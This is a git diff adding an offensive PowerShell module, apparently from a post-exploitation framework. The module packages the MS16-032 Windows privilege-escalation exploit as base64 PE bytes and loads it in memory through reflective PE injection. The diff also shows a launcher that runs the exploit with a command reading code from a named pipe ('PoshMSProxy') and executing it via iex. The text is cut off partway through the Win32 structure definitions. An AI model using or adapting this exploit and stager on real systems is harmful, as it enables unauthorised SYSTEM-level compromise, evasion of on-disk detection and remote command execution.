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OUQ5TDlUOVw5ZDlsOXQ5fDmEOYw5lDmcOaQ5rDm0Obw5xDnMOdQ53DnkOew59Dn8OQQ6DDoUOhw6JDosOjQ6PDpEOkw6VDpcOmQ6bDp0Onw6hDqMOpQ6nDqkOqw6tDq8OsQ6zDrUOtw65DrsOvQ6/DoEOww7FD8YPxw/ID8kPyg/LD8wPzQ/OD88P0A/RD9IP0w/UD9UP1g/XD9gP2Q/aD9sP3A/dD94P3w/gD+EP4g/jD+gP6Q/qD+sP7A/tD+4P7w/wD/EP8g/AAAAMAEAVAAAABQwGDAcMCAwODA8MGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDXEPsg+zD7QPqg/rD+wP7Q/AAAAQAEAJAMAAJQznDOkM6wztDO8M8QzzDPUM9wz5DPsM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNmQ2bDZ0Nnw2hDaMNpQ2nDakNqw2tDa8NsQ2zDbUNtw25DbsNvQ2/DYENww3FDccNyQ3LDc0Nzw3RDdMN1Q3XDdkN2w3dDd8N4Q3jDeUN5w3pDesN7Q3vDfEN8w31DfcN+Q37Df0N/w3BDgMOBQ4HDgkOCw4NDg8OEQ4TDhUOFw4ZDhsOHQ4fDiEOIw4lDicOKQ4rDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOWQ5bDl0OXw5hDmMOZQ5nDmkOaw5tDm8OcQ5zDnUOdw55DnsOfQ5/DkEOgw6FDocOiQ6LDo0Ojw6RDpMOlQ6XDpkOmw6dDp8OoQ6jDqUOpw6pDqsOrA6uDrAOsg60DrYOuA66DrwOvg6ADsIOxA7GDsgOyg7MDs4O0A7SDtQO1g7YDtoO3A7eDuAO4g7kDuYO6A7qDuwO7g7wDvIO9A72DvgO+g78Dv4OwA8CDwQPBg8IDwoPDA8ODxAPEg8UDxYPGA8aDxwPHg8gDyIPJA8mDygPKg8sDy4PMA8yDzQPNg84DzoPPA8+DwAPQg9ED0YPSA9KD0wPTg9QD1IPVA9WD1gPWg9cD14PYA9iD2QPZg9oD2oPbA9uD3APcg90D3YPeA96D3wPfg9AD4IPhA+GD4gPig+MD44PkA+SD5QPlg+YD5oPnA+eD6APog+kD6YPqA+qD6wPrg+wD7IPtA+2D7gPug+8D74PgA/CD8QPxg/ID8oPzA/OD9AP0g/UD9YP2A/aD9wP3g/gD+IP5A/mD+gP6g/sD+4P8A/yD/QP9g/4D/oP/A/+D8AUAEAfAAAAAAwCDAQMBgwIDAoMDAwODBAMEgwUDBYMGAwaDBwMHgwgDCIMJAwmDCgMKgwsDC4MMAwyDDQMNgw4DDoMPAw+DAAMQgxEDEYMSAxKDEwMTgxQDFIMVAxWDFgMWgxcDF4MYAxiDGQMZgxoDGoMbAxuDHAMcgxAGABANAAAACINIw0kDSUNJg0nDSgNKQ0qDSsNLA0tDS4NLw0wDTENMg0zDTQNNQ02DTcNOA05DToNOw08DT0NPg0/DQANQQ1CDUMNRA1FDUYNRw1IDUkNSg1LDUwNTQ1ODU8NUA1RDVINUw1UDVUNVg1XDVgNWQ1aDVsNXA1dDV4NXw1gDWENYg1jDWQNZQ1mDWcNaA1pDWoNaw1sDW0Nbg1vDXANcQ1yDXMNdA11DXYNdw14DXkNeg17DXwNfQ1+DX8NQA2BDYINgw2EDYAAABwAQAMAQAApDioODA5SDlYOVw5cDl0OYQ5iDmMOZQ5rDm8OcA50DnUOdg54Dn4OQg6DDocOiA6JDooOjA6SDpYOlw6bDpwOnQ6eDqAOpg6qDqsOrw6wDrIOuA68Dr0OgQ7CDsYOxw7IDsoO0A7UDtUO2w7fDuAO4Q7iDucO6A7pDu8O8A72DvoO+w7/DsAPAQ8DDwkPDQ8RDxIPEw8UDxkPGg8bDxwPMg86DzwPPw8BD1IPVw9bD18PYg9kD3UPeg9+D0IPhQ+HD5QPmA+bD50Pqg+uD7APsg+0D7UPtw+8D74Pgw/FD8oPzA/OD9AP0Q/SD9QP2Q/bD90P3w/gD+EP4w/oD/AP+A/AAAAgAEAeAAAAAAwIDA8MEAwXDBgMIAwoDC8MMAw3DDgMPwwADEgMUAxYDGAMYwxqDG0MdAx8DH4MfwxGDIgMiQyPDJAMlwyYDJwMpQyoDKoMtQy2DLgMugy8DL0MvwyEDMwM1AzXDN4M5gzuDPYM/gzGDQ4NFg0AAAAkAEAUAEAABgwIDAQNBQ0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1LDU0NYQ2iDaMNpA2lDaYNpw2oDakNqg23DooPCw8MDw0PDg8PDxAPEQ8SDxMPFA8VDxYPFw8YDxkPGg8bDxwPHQ8eDx8PIA8hDyIPIw8kDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzEPMg8zDzQPNw84DzkPOg87DzwPPQ8+Dz8PAA9BD0IPQw9ED0UPRg9HD0gPSQ9KD0sPTA9ND04PTw9QD1EPUg9TD1QPVQ9WD1cPWA9ZD1oPWw9cD10PXg9fD2APYQ9iD2MPbQ9xD3UPeQ99D0UPiA+JD4oPiw+cD54Pnw+gD6EPog+jD6QPpQ+mD6cPqg+rD6wPrQ+uD68PsA+xD7MPtA+4D4AoAEAJAAAAOgx7DHwMfQxEDIsMkwybDKMMqQyxDLwMhwzQDMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) + +} + +Main +} +invoke-ms16-032 "powershell -c `$pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSProxy'); `$pi.Connect(); `$pr = new-object System.IO.StreamReader(`$pi); iex `$pr.ReadLine();" +} + +start-job -ScriptBlock $scriptblock diff --git a/Modules/Invoke-MS16-032.ps1 b/Modules/Invoke-MS16-032.ps1 new file mode 100644 index 0000000..a2ee2fb --- /dev/null +++ b/Modules/Invoke-MS16-032.ps1 @@ -0,0 +1,2661 @@ +$scriptblock = +{ +function Invoke-MS16-032 +{ +<# +.SYNOPSIS + +This script leverages MS16-032 and Invoke-ReflectivePEInjection to reflectively load MS16-032 PE completely in memory. + +.DESCRIPTION + +This script leverages MS16-032 and Invoke-ReflectivePEInjection to reflectively load MS16-032 PE completely in memory. + +.PARAMETER Command + +Supply a custom command line. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + +#> + +Param( + + [Parameter(ParameterSetName = "CustomCommand", Position = 0)] + [String] + $Command +) + +Set-StrictMode -Version 2 + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 2, Mandatory = $false)] + [String] + $FuncReturnType, + + [Parameter(Position = 3, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 4, Mandatory = $false)] + [String] + $ProcName, + + [Parameter(Position = 5, Mandatory = $false)] + [String] + $ExeArgs + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', 